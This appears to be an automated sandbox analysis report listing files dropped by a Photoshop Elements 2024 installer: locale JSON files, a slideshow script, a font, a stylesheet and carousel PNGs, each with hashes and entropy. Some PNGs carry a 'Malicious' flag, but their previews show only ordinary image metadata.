                                                                                                Size (bytes):950
                                                                                                Entropy (8bit):4.827268491011639
                                                                                                Encrypted:false
                                                                                                SSDEEP:24:IPwcRWDMH36aw3lcXISxODG87cU8XCDUEHEmtclaRAyJK:IUDw6NpSxqfDHvt6yJK
                                                                                                MD5:12B2FAAEC8A5524181967996AE808234
                                                                                                SHA1:45DE57CF1B5C0CD4C7FA4CFF9A2CEF54E3F71B72
                                                                                                SHA-256:06C55DFBC16F965839945B5EF066FE98F05EC8146D5B317D22C7D83D6976D806
                                                                                                SHA-512:C04D15AB32E4F0DE73E124E3A9CD10AEE73C132ACEA29AA343A8DAF5A9680A63B8A5675294880A7447269653F6339D9F215CC311755B3045659A165EF4777B75
                                                                                                Malicious:false
                                                                                                Preview:{.. "Name": "Zelfstudies voor Photoshop Elements",.. "SubTitle": "Ga aan de slag met handige tools en laat u inspireren.",.. "Operating1xWin": "Windows 7 Service Pack 1 (64-bits) (minimaal vereist)",.. "OperatingSystemMac": "Mac OS 10.12 (minimaal vereist)",.. "Memory": "U hebt minimaal 4 GB RAM nodig om de toepassing te installeren",.. "TextSlide1": "Stem kleur en tint af op een andere foto of gebruik voorinstellingen.",.. "TextSlide2": "Maak in een oogwenk gestileerde tekst.",.. "TextSlide3": "Maak en deel MP4-reels met foto's.",.. "TextSlide4": "Selecteer de lucht of achtergrond met ..n klik.",.. "TextSlide5": "Nieuwe, verbeterde look met lichte en donkere modus.",.. "TextSlide6": "Plus",.. "TextSlide7": "Snelle handelingen voor bewerkingen met ..n muisklik",.. "TextSlide8": "Integratie met Adobe Stock",.. "TextSlide9": "Updates voor internet en mobiele apparaten ",.. "TextSlide10": "(B.ta, alleen Engelstalig)"..}

                                                                                                C:\ProgramData\Adobe\Installer\Icons\PSE_24.0\carousel\Dictionary\pl_pl\locale.json

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:JSON data
                                                                                                Category:dropped
                                                                                                Size (bytes):1005
                                                                                                Entropy (8bit):5.197252482745693
                                                                                                Encrypted:false
                                                                                                SSDEEP:24:+cRW8l36cr3lctnThcoq19aoy7VyMEnrzyxYqD19t7P6f:GC6WC2zao+VyByYqx9ts
                                                                                                MD5:A2BC40676845B4DDAFEAAB0523FF3671
                                                                                                SHA1:AD321F26CEC3D9F2E6812AB525AB62403A145D6E
                                                                                                SHA-256:55FC0609D045D6691129E51B196C71C3D4D98FC77A4DFE8FC6D62DB75C7B1680
                                                                                                SHA-512:CD0D8E9374F96FECE5673E7F6D9C259329A991F0CE46C90AFC41A51A937853ABAB71E64AC110FDE3977B7638484E1CC204F08D33A779E067DB637F1B54288EA9
                                                                                                Malicious:false
                                                                                                Preview:{.. "Name": "Samouczki programu Photoshop Elements",.. "SubTitle": "Rozpocznij, poznaj wszystkie podstawy, zainspiruj si..",.. "Operating1xWin": "Windows 7 z dodatkiem Service Pack 1 (64-bitowy) (minimalna wymagana wersja)",.. "OperatingSystemMac": "Mac OS 10.12 (minimalna wymagana wersja)",.. "Memory": "Do instalacji aplikacji wymagane s. co najmniej 4 GB pami.ci RAM.",.. "TextSlide1": "Dopasuj kolor i odcie. zdj.cia lub u.yj ustawie. predefiniowanych.",.. "TextSlide2": "Utw.rz tekst stylizowany w kilka sekund.",.. "TextSlide3": "Tw.rz i udost.pniaj rolki fotograficzne MP4.",.. "TextSlide4": "Kliknij, aby wybra. niebo lub t.o.",.. "TextSlide5": "Nowy, od.wie.ony wygl.d - z trybem jasnym i ciemnym.",.. "TextSlide6": "Plus",.. "TextSlide7": "Panel szybkich operacji do b.yskawicznych edycji",.. "TextSlide8": "Integracja z us.ug. Adobe Stock",.. "TextSlide9": "Aktualizacje internetowe i.mobilne ",.. "TextSlide10": "(Wersja Beta tylko w.j.zyku angielskim

                                                                                                C:\ProgramData\Adobe\Installer\Icons\PSE_24.0\carousel\Dictionary\ru_ru\locale.json

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:JSON data
                                                                                                Category:dropped
                                                                                                Size (bytes):1335
                                                                                                Entropy (8bit):4.708899028432502
                                                                                                Encrypted:false
                                                                                                SSDEEP:24:vNcRW3tDc36llsSeJ3lccSeFJGvlqkEZmAhWaTT13hWaTT12hWaTT1FagiXF:V3R46MdZytqkSW+xW+EW+ZCF
                                                                                                MD5:C08F7659EFCC7319CEA404C411852D7C
                                                                                                SHA1:960E5E87D616CE32C02101DD95E31A1B9AA5CA01
                                                                                                SHA-256:0A2B57E247570FCD544EE2D76BB2520824DA5BEC5CC41C4B4082354A8F67087A
                                                                                                SHA-512:92CEE63DFF79C0F6875ED2B74328995C8A88F473E1E4A412DEF3EA5F6601B2A5EF424D4D1FA45F0E59083A405771A74C7B282AF6879C12E48F62E6AF4BB19781
                                                                                                Malicious:false
                                                                                                Preview:{.. "Name": "........... .. Photoshop Elements",.. "SubTitle": ".......... ......, ......... ....., ......... ............",.. "Operating1xWin": "Windows 7 . ....... .......... SP1 (64-.........) (.......... .......... ......)",.. "OperatingSystemMac": "Mac OS 10.12 (.......... .......... ......)",.. "Memory": "... ......... .......... ......... ....... 4... ...",.. "TextSlide1": "..... ........ .......... ........... .......... . .......... GIF-............",.. "TextSlide2": "........... .......... ....... ....... . .......... ........ .......",.. "TextSlide4": "........... .......... ....... ....... . .......... ......

                                                                                                C:\ProgramData\Adobe\Installer\Icons\PSE_24.0\carousel\Dictionary\sv_se\locale.json

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:JSON data
                                                                                                Category:dropped
                                                                                                Size (bytes):966
                                                                                                Entropy (8bit):5.007707161623855
                                                                                                Encrypted:false
                                                                                                SSDEEP:24:UcRWUuN36oJ3l4Kh+sW92zJZ2KAaceGyBL2Jgsmks/NhGQsuUbz9k:wUud6ObhU2zAcGyBOo/NhHsU
                                                                                                MD5:9A386BDD3D45947475EA973AA97A29FB
                                                                                                SHA1:F5DA3004442F42B7A59512E35414E6F4758F0634
                                                                                                SHA-256:7EC82E6599FA6E89DEE2837ECF6544C9062D2133D2D265F181C2710CC22E9129
                                                                                                SHA-512:796F9078350951EB62CF203E655F9170A1F02DFD9A16E327764955C27437E872E7C2B7612C0817CB4BA52051A0DC4E0B71925DDB0F1E10A81D1E5A41AE645A7B
                                                                                                Malicious:false
                                                                                                Preview:{.. "Name": "Sj.lvstudiekurser f.r Photoshop Elements",.. "SubTitle": "Kom ig.ng, l.r dig det grundl.ggande och bli inspirerad.",.. "Operating1xWin": "Windows 7 med Service Pack 1 (64-bitars) kr.vs",.. "OperatingSystemMac": "macOS 10.12 kr.vs",.. "Memory": "Om du vill installera programmet m.ste du ha minst 4 GB med RAM-minne",.. "TextSlide1": "Matcha f.rg och ton fr.n ett annat foto eller anv.nd f.rinst.llningar.",.. "TextSlide2": "Skapa stiliserad text p. n.gra sekunder.",.. "TextSlide3": "Skapa och dela filmrulle i mp4-format.",.. "TextSlide4": "Klicka en g.ng f.r att markera en himmel eller bakgrund.",.. "TextSlide5": "Nytt fr.scht utseende . med ljust och m.rkt l.ge.",.. "TextSlide6": "Plus",.. "TextSlide7": "Panelen Snabb.tg.rder f.r redigeringar med ett klick",.. "TextSlide8": "Adobe Stock-integrering",.. "TextSlide9": "Webb- och mobiluppdateringar ",.. "TextSlide10": "(betaversion endast p. engelska)"..}

                                                                                                C:\ProgramData\Adobe\Installer\Icons\PSE_24.0\carousel\Dictionary\zh_cn\locale.json

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:JSON data
                                                                                                Category:dropped
                                                                                                Size (bytes):533
                                                                                                Entropy (8bit):5.952077038813362
                                                                                                Encrypted:false
                                                                                                SSDEEP:12:r4DRWf0pJ3bu1BJoWhu0mdu3lcW0mdJ3xMIYyeKOTuHHVy1r9R:ARWf2J36aQue3lcW8T1Y1ydv
                                                                                                MD5:9558152FC5BA73DAE53330E8F74103C3
                                                                                                SHA1:4583E8593C9BFFE79DB23F204D40F459EE4C579A
                                                                                                SHA-256:E716DAFAC7426644D61477EF792C1D26FF02E683494E6AE3BBF18FE5672F2409
                                                                                                SHA-512:A860CFEEFAB7A35CD5B9BA4A9735ECFCD593291D32A846F531AE507A5090DB422F57C4C843341C50D33CC092FDAC8BC1F48ACAF217D400C71440998D2C571581
                                                                                                Malicious:false
                                                                                                Preview:{.. "Name": "Photoshop Elements ..",.. "SubTitle": ".................",.. "Operating1xWin": "Windows 7 Service Pack 1.64 ........",.. "OperatingSystemMac": "Mac OS 10.12......",.. "Memory": "..... 4GB RAM .........",.. "TextSlide1": "._[Vo8] Instantly turn photos into works of art.",.. "TextSlide2": "._[Vo9] Create not-so-still photos with fun Moving Overlays.",.. "TextSlide3": "._[Vo+] Warp photos to fit any shape."..}

                                                                                                C:\ProgramData\Adobe\Installer\Icons\PSE_24.0\carousel\Dictionary\zh_tw\locale.json

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:JSON data
                                                                                                Category:dropped
                                                                                                Size (bytes):535
                                                                                                Entropy (8bit):5.95952674339767
                                                                                                Encrypted:false
                                                                                                SSDEEP:12:r4DRWPu5tTJ3bu1BJoWI3lcnqX+M9L5KOTPWHHVy1b9R:ARWPufJ36a33lcqXnP1I1ydv
                                                                                                MD5:480263433597D1DA400B0CAB80456B3C
                                                                                                SHA1:B89620BDC7F4C0917EED3CD3D0DE256A8D2AD23B
                                                                                                SHA-256:DEF0A09F07831DF10E11B346F2130509CB3AB30991C15A7FBDFE3D4AF6889562
                                                                                                SHA-512:B910FFDFB82C529E6F8E73A389B336117751356273FF4DAC776F456E9298EF72C903A3F39A09EE2F01207FD7860E5BE1BF05AB94843320B51E954589FA524805
                                                                                                Malicious:false
                                                                                                Preview:{.. "Name": "Photoshop Elements ....",.. "SubTitle": ".................",.. "Operating1xWin": "Windows 7 Service Pack 1 (64 ..) (....)",.. "OperatingSystemMac": "Mac OS 10.12 (....)",.. "Memory": "..... 4 GB . RAM ........",.. "TextSlide1": "._[Vo8] Instantly turn photos into works of art.",.. "TextSlide2": "._[Vo9] Create not-so-still photos with fun Moving Overlays.",.. "TextSlide3": "._[Vo+] Warp photos to fit any shape."..}

                                                                                                C:\ProgramData\Adobe\Installer\Icons\PSE_24.0\carousel\Dictionary\zz_zz\locale.json

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:JSON data
                                                                                                Category:dropped
                                                                                                Size (bytes):500
                                                                                                Entropy (8bit):4.923628829725424
                                                                                                Encrypted:false
                                                                                                SSDEEP:12:r4DRWrsxRrW/c3bu1BJoWF3lcnRFJgjCd2OT+ZHHVy1HNTR:ARW2Rv36a83lcHd5K1yZNl
                                                                                                MD5:8BE468F56ED75DF9FD6E9296736C7437
                                                                                                SHA1:6A5387D379E90A41DF202F2186DD520F707C91B4
                                                                                                SHA-256:AA811CB8BD2936A0B7F3F884E3347D9DBF4663ABFFDAF64401A13F7910C5FF86
                                                                                                SHA-512:85C55278DBAF490AD4686CEA2D3EDCC54C891654FE16B5129F5D28C20C2AB9D3A6AB98286F93FFA09906E7D74FDA9A1E8357ABE2A9B2643879C5C775D9372510
                                                                                                Malicious:false
                                                                                                Preview:{.. "Name": "Photoshop Elements tutorials",.. "SubTitle": "Get started, get the essentials, get inspired.",.. "Operating1xWin": "Windows 7 Service Pack 1 (64-bit) (Minimum required)",.. "OperatingSystemMac": "Mac OS 10.12 (Minimum required)",.. "Memory": "You need minimum 4Gb RAM to install the application",.. "TextSlide1": "Instantly turn photos into works of art.",.. "TextSlide2": "Create not-so-still photos with fun Moving Overlays.",.. "TextSlide3": "Warp photos to fit any shape."..}

                                                                                                C:\ProgramData\Adobe\Installer\Icons\PSE_24.0\carousel\carousel.js

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:ASCII text, with CRLF line terminators
                                                                                                Category:dropped
                                                                                                Size (bytes):2787
                                                                                                Entropy (8bit):5.184018118549148
                                                                                                Encrypted:false
                                                                                                SSDEEP:48:NrWwZsezuvmwQr3TcEuDgAIKRzpIrspGZXBi0ahMDPTAP96kP9N9P9ciP9aMHLPU:4wZ6pQrRu00lIrW4i0rTMU4LBSS574Es
                                                                                                MD5:44D3F90C842E5387DD782BC6097FABBD
                                                                                                SHA1:CB6F6D2D643A5D958BD00D7C212BD35C2BB4DDEB
                                                                                                SHA-256:DDA5350E57A484A80CA07489F18F064D67E21CCB08B36FF2BFA2C37657D6F37F
                                                                                                SHA-512:3BB152DA1E07A6A86C375A3790C65C185557F92B0148A0C41CB4E1C5D079C3F9E7EC33F6E08652669AB6BFCDABF61B358FDAA353CCF1BFB0D99E4B8C5F6188C6
                                                                                                Malicious:false
                                                                                                Preview:$(document).ready(function() { cecInit(); });....function cecInit() {.. var jsonData;.. var locale = getParameterByName("locale");.. var isHighDpi = getParameterByName("isHighDpi");.... $("html").attr("lang", locale.slice(0, 2));.... cecGetLocaleJson(locale);..}....function resizeWin() { myWindow.resizeTo(455, 239); }..var slideIndex = 0;..showSlides();....function showSlides() {.. var i;.. var slides = document.getElementsByClassName("mySlides");.. for (i = 0; i < slides.length; i++) {.. slides[i].style.opacity = "0";.. slides[i].style.visibility = "hidden";.. }.. slideIndex++;.. if (slideIndex > slides.length) {.. slideIndex = 1;.. }.... slides[slideIndex - 1].style.opacity = "1";.. slides[slideIndex - 1].style.visibility = "visible";.... if (slideIndex == 6) {.. slideIndex = 0;.. }.. setTimeout(showSlides, 6000); // Change image every 5 seconds..}....function getParameterByName(name) {.. name = name.replace(/[\[]/, "\\[").replace(/[\]]/, "\\]");.. var

                                                                                                C:\ProgramData\Adobe\Installer\Icons\PSE_24.0\carousel\css\fonts\adobeclean\adobeclean-regular-webfont.woff

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:Web Open Font Format, TrueType, length 31112, version 1.0
                                                                                                Category:dropped
                                                                                                Size (bytes):31112
                                                                                                Entropy (8bit):7.984152889259412
                                                                                                Encrypted:false
                                                                                                SSDEEP:768:4ol18SuOO3bBAughXjNPQsXVjWuu7jqWdTS2gS:Lr6tAugVjN4sXJYjqWdm2V
                                                                                                MD5:6AF297E58EDC414EE90C76C2D3EA8678
                                                                                                SHA1:7497D181CD6FE3A4B01A4F8B6BA6A47D3FA54333
                                                                                                SHA-256:3E8F59DB6DFAE287AF8DCCC0FDF5E15A8AA2A954C2C232BC6C64536E1A27EAA5
                                                                                                SHA-512:61E14F8E605C4D2B52C9A874F40E73FDE43625BC468BA3C7316E7672CFFD05B7C1766C875FC1B48218BD2B6856226645EE9BCB45810EB7121C5DBD0C184B7D0A
                                                                                                Malicious:false
                                                                                                Preview:wOFF......y................................BASE.......J....c`[.FFTM............[...GDEF.......#...&....OS/2.......X...`j..#cmap...d.........B.cvt .......V...V.}..fpgm...@.......e../.gasp................glyf......k4.....8.head..q4...2...6..Cohhea..qh... ...$.r.hhmtx..q....Y.....6P.loca..s..........c..maxp..u.... ... ....name..u....(...2.JI.post..v..........k.prep..x.........:.&cx.c`d``..b..>........<...7............l....<...6..`d`...a`....d...z.....x.c```d....6...'{..@.J.b%...x.c`d``..b9..`.BF..@...%....c..+O...x.c`a~.8.......,...,..t.!.).Hs.23..01.$00..............o....w00..d.P``...c......\..y..x.c```f.`..F..8..1..,..........P..1............).9.%.5.}.+.x.5.J..~........1...AA@ABA.............._..........p.......~.......4?0..H.).S.....l.p.L@..]..,.l...\.<.|...B.".b...R.2.r...J.*.j...Z.:.z...F.&.f...V.6.v...N...n...^.>.~...A.!.a...Q.1.q....m..g.[.h...W.^.f..u.6n.e..{v...P...y.baA...,..Y......`...0.....b...Kjj.~...k.n_..........>{.Py..CKOsoW...}S.1L.3w6..c.@MU@.../.>...

                                                                                                C:\ProgramData\Adobe\Installer\Icons\PSE_24.0\carousel\css\styles.css

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:ASCII text, with CRLF line terminators
                                                                                                Category:dropped
                                                                                                Size (bytes):189
                                                                                                Entropy (8bit):4.841995719284234
                                                                                                Encrypted:false
                                                                                                SSDEEP:3:5RFKqvZKSYRvsDQR7C8jOIbQvLwKEUc3XKRCRNKLUDfFLKYgEQmXt:PJ9MsfIsvMfHHKRkNlZLKYgE7t
                                                                                                MD5:3A0EC2D2C5020A3CF45C13A87434B285
                                                                                                SHA1:12275D4D51DE801CE28C88A0C246DE22C6D08120
                                                                                                SHA-256:406288E48CED388744E5165A1EC4266F419CC409E4A70036E4B15A93AF5C42AB
                                                                                                SHA-512:A7C6D55F64D91E5D71661E040F4D06D2C873E0B2D2A3B2E52FF60D230A7C7C0924CD0DDC4DC124D53736C934023A27D6ED77C1266732F0B5DE5DC75B02715C8B
                                                                                                Malicious:false
                                                                                                Preview:@charset "utf-8";..@font-face {...font-family: 'AdobeClean';...src: url('fonts/adobeclean/adobeclean-regular-webfont.woff') format('woff');...font-weight: normal;...font-style: normal;..}..

                                                                                                C:\ProgramData\Adobe\Installer\Icons\PSE_24.0\carousel\images\01_PSE2024_InstallerCarousel_ColorMatch_445x239.png

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:PNG image data, 445 x 239, 8-bit/color RGBA, non-interlaced
                                                                                                Category:dropped
                                                                                                Size (bytes):218501
                                                                                                Entropy (8bit):7.994177806609243
                                                                                                Encrypted:true
                                                                                                SSDEEP:6144:IF6yyknzdRSTey+E4xlziCaENqYYRPuL1hGQ/uve:q6dkzdRzyfUlOZENXYJ2jGve
                                                                                                MD5:70155993A908DD3F179030722111DAFD
                                                                                                SHA1:7F77A6DA3295559977185127DF0131DFEAAB6401
                                                                                                SHA-256:CE3DB74C58B62C946144D90E1B98982846BFDBA928F3832EFF5DFB0800BD14DD
                                                                                                SHA-512:F4F84A88984EA656A13AD7D2F171688910528692E4CDEA2128C01EAAEE1E342AED9CD381162B888634083B38B36D34EEA31AF05E8BA0790570FB26125E6926EE
                                                                                                Malicious:true
                                                                                                Preview:.PNG........IHDR.............f.......pHYs.................iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c001 79.c0204b2def, 2023/02/02-12:14:24 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmp:CreatorTool="Adobe Photoshop 24.5 (Macintosh)" xmp:CreateDate="2023-06-08T09:40:25-07:00" xmp:ModifyDate="2023-06-08T09:43:43-07:00" xmp:MetadataDate="2023-06-08T09:43:43-07:00" dc:format="image/png" photoshop:ColorMode="3" xmpMM:InstanceID="xmp.iid:9cd1a8a5-fa0f-4664-954e-671adbe841c1" xmpMM:DocumentID="adobe:docid:photoshop:33d3baaf-635d-744b-8709-2bf9163d9686" xmpMM:OriginalDocumentID="xmp.did:f

                                                                                                C:\ProgramData\Adobe\Installer\Icons\PSE_24.0\carousel\images\02_PSE2024_InstallerCarousel_AddText_445x239.png

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:PNG image data, 445 x 239, 8-bit/color RGBA, non-interlaced
                                                                                                Category:dropped
                                                                                                Size (bytes):196538
                                                                                                Entropy (8bit):7.994396839674714
                                                                                                Encrypted:true
                                                                                                SSDEEP:3072:CnSlcookIH/9pdgUmvcFsGE4WywNB2DuN/7/r+Hh44JJwN+xMAr/Goh2qMdi3Add:EDo3ctFsR/Ht7KBRTiAr/GDVH7qfpgJb
                                                                                                MD5:ECBDD07F272A819936179371478A8C3F
                                                                                                SHA1:FF77202067ACB0463E7878C44004CF55549325C1
                                                                                                SHA-256:D370C16BDA414ECEED68A3432A1C2EBD37E3E84151E667CA5FCC2DA1A6876305
                                                                                                SHA-512:1B9FBD76C08CDAD927583F80FE5854EBFF55741805ADE093071A4BEEF0887DEF2CB456AD1B996CE110DD45F9E1B329457833BFF4DA0D391E0E7770D0FF119D21
                                                                                                Malicious:true
                                                                                                Preview:.PNG........IHDR.............f.......pHYs.................iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c001 79.c0204b2def, 2023/02/02-12:14:24 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmp:CreatorTool="Adobe Photoshop 24.5 (Macintosh)" xmp:CreateDate="2023-06-08T09:40:26-07:00" xmp:ModifyDate="2023-06-08T09:43:44-07:00" xmp:MetadataDate="2023-06-08T09:43:44-07:00" dc:format="image/png" photoshop:ColorMode="3" xmpMM:InstanceID="xmp.iid:4879ee18-af3c-48f2-a799-f0d2eb0add0b" xmpMM:DocumentID="adobe:docid:photoshop:63b35f9e-9203-bb4d-9b26-ed4aa5736dba" xmpMM:OriginalDocumentID="xmp.did:e

                                                                                                C:\ProgramData\Adobe\Installer\Icons\PSE_24.0\carousel\images\03_PSE2024_InstallerCarousel_PhotoReels_445x239.png

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:PNG image data, 445 x 239, 8-bit/color RGBA, non-interlaced
                                                                                                Category:dropped
                                                                                                Size (bytes):149774
                                                                                                Entropy (8bit):7.991574130023794
                                                                                                Encrypted:true
                                                                                                SSDEEP:3072:55ne4y2rhCF9yOm7QMflNGiYb+s9N5FsUA5FLOI70degQa:Pn3rkF27Q6Sbp0PLOI7GR
                                                                                                MD5:6FC7D9D817DECC0ECA1F54C1540DA1A0
                                                                                                SHA1:01959A4664CF3EA64A9CC85E6F8F60B25698107B
                                                                                                SHA-256:9426BB5B0A9E4524C05C861781A8599646B83B0572F548A065C0EC6B791B016D
                                                                                                SHA-512:1C492B0926915206A4A233FC1F00F3A5DF21AF7C957F00573BC7780E42A3AFAA444002B9420C31A6AC65C89B4B72DD26E6F640302F8C8240592AB5CA3636FC39
                                                                                                Malicious:true
                                                                                                Preview:.PNG........IHDR.............f.......pHYs.................iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c001 79.c0204b2def, 2023/02/02-12:14:24 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmp:CreatorTool="Adobe Photoshop 24.5 (Macintosh)" xmp:CreateDate="2023-06-08T09:40:25-07:00" xmp:ModifyDate="2023-06-08T09:43:45-07:00" xmp:MetadataDate="2023-06-08T09:43:45-07:00" dc:format="image/png" photoshop:ColorMode="3" xmpMM:InstanceID="xmp.iid:ecb4903c-3b3e-489c-8b36-4bd9573232de" xmpMM:DocumentID="adobe:docid:photoshop:32c69ae6-f6d6-d24d-96bd-887f72b4446c" xmpMM:OriginalDocumentID="xmp.did:5

                                                                                                C:\ProgramData\Adobe\Installer\Icons\PSE_24.0\carousel\images\04_PSE2024_InstallerCarousel_OneClickSelection_445x239.png

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:PNG image data, 445 x 239, 8-bit/color RGBA, non-interlaced
                                                                                                Category:dropped
                                                                                                Size (bytes):190441
                                                                                                Entropy (8bit):7.9969327976436695
                                                                                                Encrypted:true
                                                                                                SSDEEP:3072:/FkChxBSQXzJ6QT8bCMw8zYi2qgI4rD/lkX4uVToHq2H263TtV+kPbhKztvyKCy:9kCnBS4zaZdbfX4POX4u1oHqgLP+kPOp
                                                                                                MD5:448941A2F024056569EF9817EEFEB9A7
                                                                                                SHA1:544EC13242A4B9BD3E0A4D65079C55DF006D6D24
                                                                                                SHA-256:21EFD9F1038B0D96E1D14A54E2A57F0EA407149F4C522CF23B617932F7336743
                                                                                                SHA-512:1CE6C24D06CA13F200C7F856887F644C61AFC2DFD5C25C35197002DF4CD519A7EB98C253A6DCFC05017CD60A7DFFBFD4489DC8C068F6E4638BE546B7BEC0BB62
                                                                                                Malicious:true
                                                                                                Preview:.PNG........IHDR.............f.......pHYs.................iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c001 79.c0204b2def, 2023/02/02-12:14:24 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmp:CreatorTool="Adobe Photoshop 24.5 (Macintosh)" xmp:CreateDate="2023-06-08T09:40:25-07:00" xmp:ModifyDate="2023-06-08T09:43:46-07:00" xmp:MetadataDate="2023-06-08T09:43:46-07:00" dc:format="image/png" photoshop:ColorMode="3" xmpMM:InstanceID="xmp.iid:3f70fe00-776c-4639-9501-80a213adaf5c" xmpMM:DocumentID="adobe:docid:photoshop:403eff47-3e40-d943-b1f3-cd79be874dc9" xmpMM:OriginalDocumentID="xmp.did:6

                                                                                                C:\ProgramData\Adobe\Installer\Icons\PSE_24.0\carousel\images\05_PSE2024_InstallerCarousel_CallOut_445x239.png

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:PNG image data, 445 x 239, 8-bit/color RGBA, non-interlaced
                                                                                                Category:dropped
                                                                                                Size (bytes):222420
                                                                                                Entropy (8bit):7.994042748653122
                                                                                                Encrypted:true
                                                                                                SSDEEP:6144:jcz9b7RCO9pmE6Ko+87V5lIjrYR3XrwPaQOtI:jcz9nRChwQ55lAosPaptI
                                                                                                MD5:D428286039502448A467942D6F20772E
                                                                                                SHA1:412C3EA49EC6BC7EB0C52D778BC4E95E33201D88
                                                                                                SHA-256:61DA52D1E93196300E6E2DD189CB3F5BD5389A42CEA0903139E4D2F475CB6B2E
                                                                                                SHA-512:0022EB09B113D0B5B584B08458A1D2FB6381758CC94675D98F3EB118D48B4B4444477371D5C9D82C89F8027874D8B70F533327716E27E2395FCF19E8F102EDA4
                                                                                                Malicious:true
                                                                                                Preview:.PNG........IHDR.............f.......pHYs.................iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c001 79.c0204b2def, 2023/02/02-12:14:24 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmp:CreatorTool="Adobe Photoshop 24.5 (Macintosh)" xmp:CreateDate="2023-06-08T09:40:25-07:00" xmp:ModifyDate="2023-06-08T09:43:47-07:00" xmp:MetadataDate="2023-06-08T09:43:47-07:00" dc:format="image/png" photoshop:ColorMode="3" xmpMM:InstanceID="xmp.iid:7ac500a4-b904-4744-8465-5d68e86d59d2" xmpMM:DocumentID="adobe:docid:photoshop:a720b7d4-b284-e144-a70b-eee0bf83c698" xmpMM:OriginalDocumentID="xmp.did:4

